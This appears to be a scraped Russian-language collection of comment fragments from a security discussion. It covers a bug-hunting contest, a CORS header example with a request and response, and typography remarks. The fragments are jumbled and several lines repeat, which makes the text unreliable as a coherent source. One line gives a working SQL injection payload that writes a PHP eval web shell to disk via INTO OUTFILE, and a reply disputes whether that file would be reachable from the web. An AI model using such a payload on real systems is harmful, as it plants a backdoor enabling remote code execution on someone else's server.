ВНИМАНИЕ! Перед и после него обязательно должны стоять пробелы.
Пробел должен стоять только после —
Отлично, файл у нас записался. Таким образом, Мы можем залить мини-шелл: sqlinj/index2.php?user=-1' UNION SELECT 1,'<?php eval($_GET[1]) ?>',3,4,5 INTO OUTFILE '1.php' --%20
Такой INTO OUTFILE ничего не даст, так как файл запишется в datadir, не доступный из веба.
1. была ощутимая нагрузка на сервер;
2. в системе было 200 аккаунтов, где и сколько лежало никто не знал;
3. ограничение по времени — дописать скрипт во время конкурса не представлялось возможным, не говоря уже о поиске багов.
Всего было заправлено 20000 рублей. Но вообще неважно, после бессонной ночи за поиском багов, я был готов участвовать хоть на фантики, ведь самое интересное — опередить остальных участников.
Сегодня проскочил один замечательный твит от человека, который попросил одолжить ему 185к $ для покупки домена ".1", чтобы потом на нем создать поддомен «127.0.0» и посмотреть, что у кого сломается :)
Браузер будет делать запрос, чтобы проверить, отдает ли удаленный сервер заголовок Access-Control-Allow-Origin, значение которого должно совпадать с заголовком запроса Origin:
Запрос
GET / HTTP/1.1
…
Origin: vk.com
HTTP/1.0 200 OK
Access-Control-Allow-Origin: vk.com
Так что технически браузер в любом случае делает запрос, чтобы проверить наличие этого заголовка и его значение.
Кстати вк сейчас вроде бы убрал XMLHttpRequest ajax-запрос.
Пробел должен стоять только после —
Такой INTO OUTFILE ничего не даст, так как файл запишется в datadir, не доступный из веба.
2. в системе было 200 аккаунтов, где и сколько лежало никто не знал;
3. ограничение по времени — дописать скрипт во время конкурса не представлялось возможным, не говоря уже о поиске багов.
там была FreeBSD
Запрос
GET / HTTP/1.1
…
Origin: vk.com
HTTP/1.0 200 OK
Access-Control-Allow-Origin: vk.com
Так что технически браузер в любом случае делает запрос, чтобы проверить наличие этого заголовка и его значение.
Кстати вк сейчас вроде бы убрал XMLHttpRequest ajax-запрос.